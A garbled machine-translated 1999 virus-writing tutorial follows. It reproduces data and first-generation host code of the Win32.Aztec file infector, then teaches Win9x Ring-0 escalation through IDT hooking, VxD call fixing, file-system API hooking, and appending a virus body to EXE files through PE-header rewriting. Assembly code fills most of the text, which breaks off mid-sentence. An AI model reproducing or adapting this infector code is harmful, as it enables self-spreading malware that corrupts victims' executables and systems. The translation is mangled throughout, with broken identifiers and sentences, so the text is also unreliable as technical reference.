; ------------------------------------------------- -------------------------- Mark_ DB "[Win32.aztec v1.01]", 0 dB "(c) 1999 Billy BelceBU / IKX ", 0EXE_MASK db" * .EXE ", 0infections dd 00000000hkernel dd kernel _ @@ Namez label byte @ FindFirstFileA db" FindFirstFileA ", 0 @ FindNextFileA db" FindNextFileA ", 0 @ FindClose db" FindClose ", 0 @ CreateFileA db" CreateFileA " , 0 @ SetFilePointer db "SetFilePointer", 0 @ SetFileAttributesA db "SetFileAttributesA", 0 @ CloseHandle db "CloseHandle", 0 @ GetCurrentDirectoryA db "GetCurrentDirectoryA", 0 @ SetCurrentDirectoryA db "SetCurrentDirectoryA", 0 @ GetWindowsDirectoryA db "GetWindowsDirectoryA", 0 @GetsystemDirectorya DB "getsystemdirectorya", 0 @ createfilemappinga db "createfilemappinga", 0 @ mapviewoffile db "mapviewoffile", 0 @ unmapViewoffile db "unmap Viewoffile ", 0 @ setndoffile db" setndoffile "
, 0 db 0BBh align dwordvirus_end label byteheap_start label byte dd 00000000hNewSize dd 00000000hSearchHandle dd 00000000hFileHandle dd 00000000hMapHandle dd 00000000hMapAddress dd 00000000hAddressTableVA dd 00000000hNameTableVA dd 00000000hOrdinalTableVA dd 00000000h @@
Offsetz label byte_FindFirstFileA dd 00000000h_FindNextFileA dd 00000000h_FindClose dd 00000000h_CreateFileA dd 00000000h_SetFilePointer dd 00000000h_SetFileAttributesA dd 00000000h_CloseHandle dd 00000000h_GetCurrentDirectoryA dd 00000000h_SetCurrentDirectoryA dd 00000000h_GetWindowsDirectoryA dd 00000000h_GetSystemDirectoryA dd 00000000h_CreateFileMappingA dd 00000000h_MapViewOfFile dd 00000000h_UnmapViewOfFile dd 00000000h_SetEndOfFile dd 00000000hMAX_PATH equ 260FILETIME STRUCFT_dwLowDateTime dd? FT_dwHighDateTime dd? FILETIME ENDSWIN32_FIND_DATA label byteWFD_dwFileAttributes dd? WFD_ftCreationTime FILETIME? WFD_FTLASTACCESSTIME FILETIME? WFD_FTLASTWRITETIME FileTime? WFD_NFILESIGHIGH dd? WFD_nFileSizeLow dd? WFD_dwReserved0 dd? WFD_dwReserved1 dd? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) directories label byteWindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh DUP (00H) DIRS2INF EQU (($ -directories) / 7FH) mirrorirror db Dirs2infheap_end label byte; ----------------------------- ----------------------------------------------; It is the data to be used by the virus; ----------------------------------------- -----------------------------------;
First generation hostfakehost: pop dword ptr fs: [0]; cleanup stack add esp, 4 popad popfd xor eax, eax; generated by the first boring information display MessageBox push eax push offset szTitle push offset szMessage push eax call MessageBoxA push 00h; termination of the first generation of Call EXITPROCESSEND AZTEC; ----- to here: ------------------------------------------------------------------------------------------------------------------------ --------------------------- Well, I think I have explained enough to this virus. It is just a simple direct behavior (running period) virus that works on all Win32 platforms and infects 5 files on the current directory, Windows directory, and system directory. It doesn't have any hidden mechanism (because it is an example virus), and I think it can be detected by all anti-virus software. So it is not worth changing the string and claims that it is its author. You should do it yourself. Because I know some parts of the virus are not clear enough (such as those who call the API function, if a value for a task is completed), the following briefly enumerate how to call some APIs to do specific things. -> How to open a file to read and write? We use this API to be CreateFilea. Recommended parameters are as follows: push 00h; hTemplateFile push 00h; dwFlagsAndAttributes push 03h; dwCreationDistribution push 00h; lpSecurityAttributes push 01h; dwShareMode push 80000000h or 40000000h; dwDesiredAccess push offset filename; lpFileName call CreateFileA hTemplateFile, dwFlagsAndAttributes lpSecurityAttributes and should be zero. DWCREATIONDISTRIBUTION, there are some interesting values. It can be: create_new = 01h crete_always = 02h open_existing = 03h open_always = 04h truncate_existing = 05h When we want to open an existing file, we use open_existing, ie 03h.
If we want to open a template file because of the needs of the virus, we will use another value, such as CREATE_ALWAYS. DWSHAREMODE should be 01h, in short, we can choose from below: file_share_read = 01h file_share_write = 02h All text We let other people read the files we open, but cannot write! DWDesiredAccess handle the selection of access files. We use C0000000H because it is generic_read and generic_write's and, that means we have two access methods :) Next you get: generic_read = 80000000h generic_write = 40000000h ** If there is a failure, this call CreateProcess will return to We are 0xfffffffff; if there is no failure, it will return to the handle of the file, so we save it to the relevant variable. To turn off the handle (when you need it), use the CloseHandle this API function. -> How to create an open file? The API to use is CreateFileMappinga. The recommended parameters are: push 00h; lpName push size_to_map; dwMaximumSizeLow push 00h; dwMaximumSizeHigh push 04h; flProtect push 00h; lpFileMappingAttributes push file_handle; hFile call CreateFileMappingA lpName and lpFileMappingAttributes 0 is recommended. DwMaximumSizeHigh should be zero except when dwMaximumSizeLow <0xFFFFFFFF dwMaximumSizeLow we want to map the size flProtect value may be as follows: PAGE_NOACCESS 00000001h PAGE_READONLY = 00000002h PAGE_READWRITE = 00000004h PAGE_WRITECOPY = 00000008h PAGE_EXECUTE = 00000010h PAGE_EXECUTE_READ = 00000020h PAGE_EXECUTE_READWRITE = 00000040h PAGE_EXECUTE_WRITECOPY = = 00000080H Page_Guard = 00000100H Page_nocache = 00000200H I suggest you use Page_Readwrite, read or write no problem when mapping. HFile is the previously opened handle we want to map. ** If it fails, calling this API function returns to us a null value; otherwise it will return to our mapping handle. We will save it into a variable for use. To turn off a mapping handle, the API to call should be CloseHandle.
-> how can map file should use MapViewOfFile this API function, it's recommended parameters are as follows: push size_to_map; dwNumberOfBytesToMap push 00h; dwFileOffsetLow push 00h; dwFileOffsetHigh push 02h; dwDesiredAccess push map_handle; hFileMappingObject call MapViewOfFile dwFileOffsetLow and dwFileOffsetHigh should be 0 ? Dwnumberofbytestomap is the number of bytes we want mapped DWDesiredAccess can be as follows: file_map_copy = 00000001h file_map_write = 00000002H file_map_read = 00000004h I suggest File_Map_write. HFilemappingObject should return the mapping handle (mapping handle), returned by the previously called CreateFileMappinga function. ** If it fails, this API will return to us null, otherwise it will return to our mapping address. So, from that map address, you can access anywhere of the map space and make changes you want :) In order to close the map address, you should use the unmapviewoffile this API. -> How to close the file handle and mappier handle? OK, we must use the CloseHandle this API. Push Handle_to_Close; Hobject Call CloseHandle ** If the shutdown is successful, it returns 1. -> How to turn off the mapping address? You should use unmapViewoffile. Push mapping_address; lpbaseaddress call unmapViewoffile ** If it is successful, it returns 1.
[Ring-0, in God Code] ~~~~~~~~~~~~~~ Free! Do you love it? In Ring-0, we have no restrictions outside of limits. Because of the incompetence of Micro $ OFT, we have a lot of ways to jump to this level, one theoretically can't reach. However, we can jump to Ring-0 in the Win9x system :) For example, MICRO $ OFT's fools do not protect the interrupt table. This is a huge security failure in my eyes. But the words also said, if we can use it to write a virus, it is not a mistake, it is a gift!;)% To Ring-0% ~~~~~~~~~~~~~~~ Ok, I will explain that the easiest way I seem to, that is, IDT modification. IDT (Interrupt Descriptor Table) is not a fixed address, so we must use instructions to locate it, that is, SIDT. -------------------------------------------------- -------------------------- _______________________________________________________ | SIDT - Store Interrupt Descriptor Table (286 proprietary) || _______________________________________________________ | usage: SIDT target Modify Mark: No Storage Interrupt Descriptor Table (IDT) register to the specified operand. Clocks Size Operands 808x 286 386 486 BYTES MEM64 - 12 9 10 5 0F 01/1 SIDT MEM64 Store IDtr to MEM64 -------------------------- -------------------------------------------------- If we use SIDT to be clear enough, it only saves the IDT's FWORD offset (Word: DWORD format). And, if we know where the IDT is, we can modify the interrupt vector and make them point to our code. Show you is the code writer of the MiCro $ OFT. Let us continue our work. After changing the interrupt vector, point to our code (and save them, after recovering later), we only need to call our hooked (hook) interrupt. If it looks not clear now, the next is to jump to the Ring-0 code by modifying the IDT method.
; --------- From here: --------------------------------- ----------------- .586p; bah ... simply for phun. .Model flat; hehehe I love 32 bit stuph;) EXTRN EXITPROCESS: ProcexTrn MessageBoxa: ProcinterRupt EQU 01H; Nothing Special .data Sztitle DB "Ring-0 Example", 0 szMessage DB "I'm alive and kicking ass", 0; ---------------------- -------------------------------------------------- ------; Ok, this paragraph is quite clear, is it?: ----------------------- -------------------------------------------------- ---- .code start: Push Edx Sidt [ESP-2]; Interrupt Table to Stack Pop Edx Add Edx, (Interrupt * 8) 4; Get Interrupt Vector; ----------- -------------------------------------------------- -----------------; This is quite simple. SIDT, as I explained before, save the address of the IDT to a memory address, in order; for our simplicity, we used the stack directly. Next is a POP instruction that puts the offset address of the IDT; loaded into the register (here EDX). The next line is just to position the offset address we want. This; just like it to play IVT under DOS ... ---------------------------------- ------------------------------------------ MOV EBX, [EDX] MOV BX , Word PTR [EDX-4]; Whoot Whoot; -------------------------------------- ----------------------------------------; quite simple.
It is only for future recovery, saving the content points to the EDX to EBX; ------------------------------- ------------------------------------------- Lea Edi, Interrupthandler MOV [EDX-4], Di Ror EDI, 16; Move Msw To Lsw Mov [EDX 2], DI; ------------------------- -------------------------------------------------- ---; I used to say how simple it? :) Here, we give EDI to the offset address of the new interrupt processing, under the line 3 line is to put the process in the IDT. Why is ROR? Well, if you use Ror, SHR or SAR; it doesn't matter, because it only moves the interrupt processing offset MSW (MORE SIGNITIANT WORD) in LSW (LESS; Significant Word), then saved. ; ------------------------------------------------- ----------------------------- Push DS; Safety Safety Safety ... Push Es Int Interrupt; Ring-0 Comez HeReeeeeeeee !! !!!!! Pop Es Pop DS; -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------; mmmm ... very interesting. In order to safely, we put DS and ES stack, avoid some rare mistakes, but it can don't have to work, believe me.
Because the interrupt has been patch, except for this interrupt, don't use anything else ... Now we have already in Ring0, the following code is continuing interrupthandler; -------------- -------------------------------------------------- ------------------ MOV [EDX-4], BX; Restore Old Interrupt Values ROR EBX, 16; ROR, SHR, SAR ... WHO CARES? MOV [EDX 2], bx back2host: push 00h; Sytle of MessageBox push offset szTitle; Title of MessageBox push offset szMessage; The message itself push 00h; Handle of owner call MessageBoxA; The API call itself push 00h call ExitProcess ret; ---- -------------------------------------------------- ------------------------; Now, in addition to restore the original saved in EBX, there is no more things. Then, we; return the code to the main body. (Ok, just assume that it is that);); ------------------------------------ ---------------------------------------- InterruptHandler: Pushad; below is your code: ) POPAD IRETD End Start; --------- from here: ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------- Now we can visit it. I think everyone can do it, but now for ordinary viruses in the first visit to Ring-0, it faces a question: Why do we do now?% In Ring-0, a virus% ~~~~~~~ ~~~~~~~~~~~~~~~~~ I like to start there a little algorithm tutorial, so how should we encounter in the future in Ring-0? -------------------------------------------------- -------------------- 1. Test the operating system (OS): If NT, skip the virus and return to the main body 2. Jump to Ring-0 ( IDT, VMM Insert or Call Door Technology 3. Execute an interrupt that contains infected code. 3.1. Get a place to place viruses (open or in the heap) 3.2. Put the virus in 3.3. Hook the file system and save the old hook 3.3.1. In FS Hook, first save all parameters And fix the ESP 3.3.2. Parameter stack 3.3.3. Then check if the system is trying to open a file, if not, skip 3.3.4. If you try to open, first translate the file name into an ASCII code 3.3.5. And then check Whether it is an EXE file.
If not, skip the infection 3.3.6. Open, read the file header, operation, rewrite, add and close 3.3.7. Call the old hook 3.3.8. Skip all the parameters of the return to ESP 3.3.9. Return 3. Return 4. Restore the old interrupt vector 5. Return to control to the main body --------------------------------- ------------------------------------ this algorithm has a little big, no matter what I can make it More profile, but I am more willing to act directly. OK, come, let's go! When the file is running test operating system ~~~~~~~~~~~~~~~~~~ Solve them!), We must have our operating system, if not the Win9x platform, return to the main body. Ok, there are many ways to do this: Use SEH check the code segment, I assume you already know how to play SEH, right? I have explained its usage in another chapter, so now I am going to read it :) About the second possible thing, the following is the code: MOV ECX, CS XOR CL, CL Jecxz Back2host This example explanation : In Windows NT, the code segment is always less than 100h, and in Win95 / 98 is always big, so we clear its low bytes, and if it is more than 100, ECX will be 0, turn over, if it More than 100, it will not be 0 :) Optimized, Yeah;)% jumped into Ring-0 and executed interrupt% ~~~~~~~~~~~~~ Ok, I have explained the easiest way in this document, so I don't have much to say about this:)%, we are already in Ring-0 ... what?% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In Ring-0, the API of the Generation, we have VXD services . VXD service Access to the following form: INT 20H DD VXD_Service VXD_Service takes two words, and the MSW indicates the VXD number, and the LSW indicates the function we call from the VXD. For example, I will use the VMM_PAGEMODIFYPERMISSIONS value: DD 0001000DH ↑ _____ _____ service 000DH _PAGEMODIFYPERMISSIONS | _______ vxd 0001h VMM So, in order to call it, we must do it as follows: int 20H DD 0001000DH A very smart coding method is to write a macro to automate This, and make the number quates. But that is your choice. This value is fixed, so the Win95 and Win98 are the same.
Don't worry, Ring-0 is that you don't need to search offset addresses in Kernel or elsewhere, when we use the API), because there is no need to do it, you must have hard code :) Here I must declare a one we are Writing a Ring-0 virus must be cleared very important: int 20h and address, I demonstrate the function of accessing VXD, in memory as follows: Call Dword PTR [vxd_service]; callback service you can think of a bit stupid However, it is very important, and it is really painful because the virus uses these CALLs instead of int and service double-word offset to the host, which makes the virus can only be executed on your computer, not in others The machine runs: (in real life, there are many solutions. One of them, as Win95.Padania, fix it, after each VXD call, another method is: Be all The table of offset addresses is fixed, directly do it. Below is my code, and you can see it in my Garaipena and Poshkiller: vxdfix: MOV ECX, VXDTBSZ; Transfer routines LEA ESI, [ EBP VXDTBLZ]; pointer to the table @ LO0P: LODSD; load the offset address of the current table into the EAX add Eax, EBP; plus Delta offset MOV Word PTR [EAX], 20CDH; Put it in that address MOV EDX, DWORD PTR [EAX 08H]; get VXD service value MOV DWORD PTR [EAX 02H], EDX; and restore it loop @ LO0PZ; correct another RET VXDTBLZ Label Byte; all offset address table DD with VXD calls (Offset @@ 1) DD (Offset @@ 2) DD (Offset @@ 3) DD (Offset @@ 4); [...] All other call vxd functions must be listed here :) VxDTBSZ EQU (($ -offset vxdtblz) / 4); I hope that you understand that the VXD function we call must have its offset address. Oh, I almost forgot another important thing: if you are using my VXD correction process, what is your vxdcall macro.
Hereinafter: vxdcall macro vxdservice local @@@@@@ INT 20H; CD 20 00h DD VXDService; xx xx xx xx 02h jmp @@@@@12h jmp @@@@12h jmp @@@@12h jmp @@@@12h jmp @@@@12h jmp @@@x 08h @@@@: endm ok, now we need a place where you stay. I personally biased in the NET heap because it is easy to write (lazy rules!). -------------------------------------------------- ------------------------- ** ifsmgr_getheap - Open a NET Stack Unless IFSMGR executes syscriticalinit, this service will not legally this function. C6 386 _CDECL Call Order Entry -> TOS - Requires Size Exit -> Eax - The address of the stack, if the failure is 0 using C register (EAX, ECX, EDX, FLAGS) --------- -------------------------------------------------- --------------- or more is some Win95 DDK information. Let's take a look at this example: Interrupthandler: Pushhad; Push All Register Push Virus_size 1024; We need memory (Virus_size buffer); when you use the buffer, better; put it more words @@ 1: vxdcall ifsmgr_getheap pop ECX is clear enough? As DDK said, if it fails, it will return to us 0 in EAX, so check the possible failure. The next POP is very important, because most of the VXD does not correct the stack, so we are still in the stack before calling the VXD function.
OR Eax, Eax; CMP EAX, 0 JZ Back2ring3 If the function is successful, we get the address of the viral main body we have to move in EAX, then let's go! MOV BYTE PTR [EBP SMAPHORE], 0; Coz Infection Puts IT in 1 mov edi, eax; Where move virus lea esi, ebp start; What to move push eax; Save memory address for later sub ecx, 1024; We move only virus_size rep movsb; Move virus to its TSR location;) pop edi RESTORE MEMORY Address, we are in a memory address, preparing TSR, right, right? And in EDI is the address starting in memory in the memory, so we can use it as a Delta Offset :) well Do we need a hook file system now? OK, there is a function to do this. Very surprised, is it? Micro $ OFT Microsoft engineers have made us a tundle. -------------------------------------------------- ------------------------- ** ifsmgr_installfilesystemapihook - Installing a File System API Hook This service installs a file system API Hook for the caller. This hook is between IFS Manager and an FSD, and the hook can look at any ifs Manager to the FSD. This function uses the C6 386 _CDECL call order PPIFSFILEHOOKFUNC IFSMGR_INSTALLEHOKFUNC IFSMGR_INSTALLEHOKFUNCHOK (PIFSFILEHOOKFUNC HOOKFUNG) Entry TOS - Address Eax to install a function of the hook-export EAX - Point to the address variable containing previous hooks in this chain uses C register ------- -------------------------------------------------- ------------------ clear? If not, I hope that you have understood it after reading some code.
Ok, let's hook the Hook Filesystem ... Lea ECX, [EDI New_Handler]; (Vir Address In Mem Handler Offs) Push Ecx; Push IT @@ 2: vxdcall ifsmgr_installFileSystemapiHook; Perform THE CALL POP ECX; Don't Forget this, guy MOV DWORD PTR [EDI OLD_HANDLER], EAX; EAX = Previous Hook2Ring3: popad itd; return to ring-3. YARGH, we have already read Ring-0 virus installation part . Now, we must write a file system (FileSystem) processing section :) Simple, but if you think? :) FileSystem Handler: Really interesting !!! Ye, below is to infect itself, but we are starting Have to do something. First, we must make a safe copy of the stack, which means saving the ESP content into the EBP register. Then we should subtract ESP for 20h, in order to correct the stack pointer. Let's take a look at some code: new_handler EQU $ - (Offset Virus_Start) FSA_HOOK: PUSH EBP; Save EBP Content 4 Further Restorin Mov EBP, ESP; Make A Copy Of ESP Content in EBP SUB ESP, 20H; And Fix The Stack Now, Because our function is to be called by the system, we should push them, just like the original handler. The parameters to be push from EBP 08H to EBP 1CH, including them, and related to the ioreq structure.
PUSH DWORD PTR [EBP 1CH]; PUSH DWORD PTR [EBP 18H]; CodePage That The User String WAS; Passed IN. Push DWORD PTR [EBP 14H]; Kind of Resource the Operation IS; Being performed on. Push DWORD PTR [EBP 10H]; being performed on (-1 if UNC). Push DWORD PTR [EBP 0CH]; Function That Is Being Performed. Push Dword Ptr [EBP 08H]; address of the fsd function That; is to be called for this API. Now we have put the parameters of Push to the right place, so don't worry about them. Now we have to check the IFSFN function you will operate.
Below you get the most important small list: --------------------------------------- ---------------------------------------- ** Transfer to IFSMGR_CallProvider's IFS Function ID IFSFN_READ equ 00h; read a file IFSFN_WRITE equ 01h; write a file IFSFN_FINDNEXT equ 02h; LFN handle based Find Next IFSFN_FCNNEXT equ 03h; Find Next Change Notify IFSFN_SEEK equ 0Ah; Seek file handle IFSFN_CLOSE equ 0Bh; close handle IFSFN_COMMIT equ 0Ch; commit buffered data for handle IFSFN_FILELOCKS equ 0Dh; lock / unlock byte range IFSFN_FILETIMES equ 0Eh; get / set file modification time IFSFN_PIPEREQUEST equ 0Fh; named pipe operations IFSFN_HANDLEINFO equ 10h; get / set file information IFSFN_ENUMHANDLE equ 11h; enum file handle information IFSFN_FINDCLOSE equ 12h; LFN Find Close ifsfn_fcnclose EQU 13H; Find Change Notify Close IFSFN_CONNECT equ 1Eh; connect or mount a resource IFSFN_DELETE equ 1Fh; file delete IFSFN_DIR equ 20h; directory manipulation IFSFN_FILEATTRIB equ 21h; DOS file attribute manipulation IFSFN_FLUSH equ 22h; flush volume IFSFN_GETDISKINFO equ 23h; query volume free space IFSFN_OPEN equ 24h; open file IFSFN_RENAME equ 25h; rename path IFSFN_SEARCH equ 26h; search for names IFSFN_QUERY equ 27h; query resource info (network only) IFSFN_DISCONNECT equ 28h; disconnect from resource (net only) IFSFN_UNCPIPEREQ equ 29h;
UNC path based named pipe operation IFSFN_IOCTL16DRIVE equ 2Ah; drive based 16 bit IOCTL requests IFSFN_GETDISKPARMS equ 2Bh; get DPB IFSFN_FINDOPEN equ 2Ch; open an LFN file search IFSFN_DASDIO equ 2Dh; direct volume access ------------ -------------------------------------------------- ----------------- The first thing we are interested in us is 24h, that is to say. The system is called almost every moment, so there is no problem with it. Just as simple as you can imagine :) CMP DWORD PTR [EBP 0CH], 24h; check if system opening file jnz back2oldageler; if not, skip and return to old h. It is interesting now. We know that the system requests the file to open, so we are now. First, we should check if we are in our own call ... Simple, just add a small variable, which will have some problems. Btw, I almost forgot, get delta offset :) pushad call ring0_delta; Get delta offset of this ring0_delta: pop ebx sub ebx, offset ring0_delta cmp byte ptr [ebx semaphore], 00h; Are we the ones requesting jne pushnback; the ? call inc byte ptr [ebx semaphore]; For avoid process our own calls pushad call prepare_infection; We'll see this stuff later call infection_stuff popad dec byte ptr [ebx semaphore]; Stop avoiding :) pushnback: popad now I will Continue to introduce the handler itself, then, I will explain how I do these routines, prepare_infection, and infection_stuff. If the system is requesting a call, we will withdraw from the routines we will have to process, OK? Now, we must write routines that call the old FileSystem Hook. When you still remember (I assume you no alzheimer), our Push has all parameters, so the only thing we should do is to install it into the register, the old address does not matter, then call the memory location. Then we add ESP to 18h (in order to get the return address), finished.
You will look at some code, so you will see: Back2oldHandler: DB 0B8H; MOV EQU $ - (Offset Virus_Start) DD 0000000000H; Here Goes The Old Handler. Call [EAX] Add ESP, 18H; FIX Stack (6 * 4) Leave; 6 = Num. Paramz. 4 = DWORD SIZE. RET; RETURN Infection Preparation ^^^^^^^^ This is the main part of Ring-0 code. Let's take a look at the details of Ring-0 written code. When we are in hook processing, there are two calls, right? This is not a must, but I do it easier to make the code, because I like to make things structured. At the time of the first call, the prepare_infection I called only because of a reason. The system gives us a file name as a parameter, but we have a problem. The system gives us in the form of Unicode, and it is not used by us. So, do we need to convert it into an ASCII code, right? We have a VXD service to do this for us. Its Name: Unitobcsparh. Here is the source code you like.
Prepare_infection: Pushhad; Push All Lea EDI, [EBX FNAME]; WHERE to PUT ASCII File Name Mov Eax, [EBP 10H] CMP Al, 0FFH; IS IN Unicode? JZ Wegotdrive; OH, YEAH! Add Al, " @ "; Generate Drive Name Stosb Mov Al,": "; Add A: Stosb Wegotdrive: XOR Eax, Eax Push Eax; Eax = 0 -> Convert to Ascii Mov Eax, 100H Push Eax; Eax = Size of String to Convert MOV Eax, [EBP 1CH] MOV EAX, [EAX 0CH]; EAX = PoInter to String Add Eax, 4 Push Eax Push EDI; Push Offset To File Name @@ 3: VxdCall Unitobcspath Add ESP, 10H; Skip Parameters Returnet Add EDI, EAX XOR EAX, EAX; Make String Null-Termin ATED Stosb Popad; Pop All ret; Return Infection itself ^^^^^^^^ ^ ^^^^^^^ Let me tell you how to get until you have the new PE header and section of the file you must have after you have infected. However, I will not explain how to do it, not because I am lazy, just because this is a chapter of Ring-0 code, not a chapter of PE. This section is consistent with the Infection_stuff section of the FileSystem hook code. First, we must check if the files we have to operate is a .exe file or other files that are not interested in. So, first, we must find 0 values in the file name, tell us its end.
This is very simple: infection_stuff: Lea EDI, [EBX FNAME]; Variable with the file name getend: CMP Byte Ptr [EDI], 00H; END OFELENA? JZ REACHED_END; YEP Inc Edi; if Not, Search for Another Char JMP getnd reached_end: We are 0 values in the ASCII string in EDI, just as you know, it marks the end of the string, that is, in this case, the file name. The next is our main check to see if it is a .exe file, if it is not, skip the infection. We can also check. SCR (Windows Screensaver), as you know, they are also able to perform files ... this is your choice. Let you give you some code: CMP DWORD PTR [EDI-4], "EXE."; Look if Extension is an exe jnz notsofunny as you can see, I compared EDI-5 times. Now we know that file is an exe file :) So it is to remove its properties, open the file, modify the relevant domain, turn off the file and restore the properties. All of these functions are completed by another IFS service, that is, IFSMGR_RING0_FILEIO. I didn't find the documentation about all this, in short, it has a lot of functions, as I said earlier, all we need a function to be infected. Let us vxd service ifsmgr_ring0_fileio passed to the value in Eax: -------------------------------------- --------------------------------; Function defines in the list of RING-0 API function list:; Description: Big Most functions are context, unless it is clearly defined, that is, they do not use the context of the current thread. R0_LOCKFILE is the only exception - it always uses the context of the current thread.
R0_OPENCREATFILE equ 0D500h; Open / Create file in current contxt R0_READFILE equ 0D600h;; Read a file, no context R0_WRITEFILE equ 0D601h; Open / Create a file R0_OPENCREAT_IN_CONTEXT 0D501h equ Write to a file, no context R0_READFILE_IN_CONTEXT equ 0D602h; Read a file, in thread context R0_WRITEFILE_IN_CONTEXT equ 0D603h; Write to a file, in thread context R0_CLOSEFILE equ 0D700h; Close a file R0_GETFILESIZE equ 0D800h; Get size of a file R0_FINDFIRSTFILE equ 04E00h; Do a LFN FindFirst operation R0_FINDNEXTFILE equ 04F00h; Do a LFN FindNext operation R0_FINDCLOSEFILE equ 0DC00h; Do a LFN FindClose operation R0_FILEATTRIBUTES equ 04300h; Get / Set Attributes of a file R0_RENAMEFILE equ 05600h; Rename a file R0_DELETEFILE equ 04100h; Delete a file R0_LOCKFILE equ 05C00h; Lock / Unlock a region in a file R0_GETDISKFREESPACE equ 03600h; Get disk free space R0_READABSOLUTEDISK equ 0DD00h; Absolute disk read R0_WRITEABSOLUTEDISK equ 0DE00h; Absolute disk write -------------------------- -------------------------------------------- charming function, is Is it? :) If we look, it reminds us of our DOS INT 21H function. But this better :) Ok, let's save the old file properties. As you can see, this function is in the list I have given you before, and we put this parameter (4300h) into Eax in order to obtain the properties of the file to ECX. So, after that, I push it and the file name, it is in ESI.
lea esi, [ebx fname]; Pointer to file name mov eax, R0_FILEATTRIBUTES; EAX = 4300h push eax; Save it goddamit VxDCall IFSMgr_Ring0_FileIO; Get attributes pop eax; Restore 4300h from stack jc notsofunny; (?) Something went wrong push esi Push PoInter to File Name Push Ecx; Push Attribute now we must remove them. no problem. The function of setting the file attribute is, before IFSMGR_RING0_FILEIO, but now is 4301h. Just like you see under DOS :) Inc EAX; 4300H 1 = 4301h :) xor ECX, ECX; No Attributes SUCKER! VXDCALL IFSMGR_RING0_FILEIO; SET NEW Attributes (Wipe'em) JC STILLNOTSOFUNNY; error (?! Now we have a file with no attributes waiting for our files ... What should we do? Oh, I think you are smart. Let us open it! :) Just like this part of all viruses, we have to call IFSMGR_RING0_FILEIO, but now it is D500H to open files to Eax. LEA ESI, [EBX FNAME]; PUT IN ESI THE FILE NAME MOV EAX, R0_OpenCreatfile; EAX = D500H XOR ECX, ECX; ECX = 0 MOV EDX, ECX Inc EDX; EDX = 1 MOV EBX, EDX INC EBX; EBX = 2 vxdcall ifsmgr_ring0_fileio jc stillnotnetsofunny; shit. Xchg Eax, EBX; Optimize A bit, sucka! :) Now we are in EBX's handle, so if you don't use this file before the file is closed, ok? ? :) Now is the time you read the PE file head and save it (and operate it), then update the file header, add a virus ... Here I will only explain how to deal with the properties of the PE header, because it is this Another part of the tutorial, and I don't want to repeat too much. I intend to explain how to save the PE header into our buffer. It is quite simple: if you still remember, the PE head starts from the offset address 3ch (of course starting from Bof).
Then I have to read 4 bytes (DWord at this 3ch), and read again at this offset address, this time, it is 400h bytes, enough to handle the entire PE header. As you can imagine, the function in reading the file is in a great ifsmgr_ring0_fileio, and you can see the correct number I have given to your table, in R0_READFILE. Parameters passing to this function are as follows: EAX = r0_readfile = D600H EBX = file handle ECX = number of bytes to read edx = offset where we shop read esi = where will go the read bytes call inf_delta; if you still remember, we are in EBX It is Delta OffsetInf_Delta:; But after opening the file, we are in EBX's handle POP EBP; so we must recalculate it. Sub EBP, OFFSET INF_DELTA; MOV EAX, R0_READFILE; D600H PUSH EAX; Save IT for Later Mov ECX, 4; Bytes To Read, A DWORD MOV EDX, 03CH; WHERE READ (BOF 3CH) Lea ESI, [EBP pehead] ; There goez the PE header offzet VxDCall IFSMgr_Ring0_FileIO; The VxDCall itself pop eax; restore R0_READFILE from stack mov edx, dword ptr [ebp pehead]; Where the PE header begins lea esi, [ebp header]; Where write the read PE HEADER MOV ECX, 400H; 1024 Bytes, Enough for All PE head. vxdcall ifsmgr_ring0_fileio Now we look at its flag to see if the file we just opened is a PE file. We are in ESI to point to the buffer we placed the PE header, so just compare the first DWORD and PE, 0, 0 in the ESI (or more simple use of Word and PE);) CMP DWORD PTR [ESI], "EP"; Is it PE? JNZ Muthafucka now you should check the previous infection, if you have been infected, as long as you get to close the file. As I said before, I will skip the code that modifies the PE header, because you have known how to do it. Ok, imagine that some you have modified the PE header in the buffer (in my code, the variable is called header). It is time to write the new header to the PE file.
The value in the register should be similar to the r0_readfile function, I will write them like this: eax = r0_writefile = D601H EBX = file handle ECX = Number of bytes to write edx = offset Where we shop write esi = offset of the bytes we want to write mov eax, R0_WRITEFILE; D601h mov ecx, 400h; write 1024 bytez (buffer) mov edx, dword ptr [ebp pehead]; where to write (PE offset) lea esi, [ebp header]; Data to write VxDCall IFSMgr_Ring0_FileIO We have already written the head. Now we have to add a virus. I decided to add it in the EOF directory, because my way of modifying PE ... Ok, I do this with this method. But don't worry, the method of infection is very simple, because I assume that you have understood how it works. Before attaching the virus main body, remember that we should correct all VXDCall because they have changed in memory when they call. Remember, I will teach your VXD correction process in this tutorial. In addition, when we add it at EOF, we should know how many bytes it takes. Quite simple, we have a function in IFSMGR_RING0_FILEIO (why not!) To do this: r0_getfilesize Let's take a look at its input parameters: eax = r0_getfilesize = d800h ebx = file handle returns to us in EAX is a handle corresponding The size of the file is also a document we try to infection. call VxDFix; Re-make all INT 20h's mov eax, R0_GETFILESIZE; D800h VxDCall IFSMgr_Ring0_FileIO; EAX = File size mov edx, R0_WRITEFILE; EDX = D601h xchg eax, edx; EAX = D601; EDX = File size lea esi, [ebp virus_start ]; What to Write Mov ECX, Virus_Size; How much bytez to write vxdcall ifsmgr_ring0_fileio only has some things to do. Just close the file and restore its old properties. Of course, the function of closing the file is our loved IFSMGR_RING0_FILEIO, and now is a function D700H.
Let's take a look at its input parameters: eax = r0_closefile = 0d700h ebx = file hand is now its code: muthafucka: MOV EAX, r0_closefile vxdcall ifsmgr_ring0_fileio is ok, there is only one thing to do. Restore old properties. stillnotsofunny: pop ecx; Restore old attributos pop esi; Restore ptr to FileName mov eax, 4301h; Set attributes function VxDCall IFSMgr_Ring0_FileIO notsofunny: ret finally finished :) Also, all of these "VxDCall IFSMgr_Ring0_FileIO" best in a subroutine! With a simple call to call it: it is optimized (if you use the vxdcall macro you will give you), it is better because you can put an offset in the VxDfix table. % Anti-VXD monitoring code% ~~~~~~~~~~~~~~~ I must not forget to discover this person: Super / 29A. In addition, I should explain what is going on this thing. It is related to the already seen INSTALLSYSTEMAPIHOOK service, but it is not written by Micro $ OFT. InstallFileSystemapiHook service returns to us a meaningful structure: EAX 00H -> Address of Previous Handler EAX 04H -> Hook_info structure and just as you think, the most important thing is Hook_info structure: 00h -> Hook processing, this structure The first 04h -> Previous hook processing 08h -> Previous hook 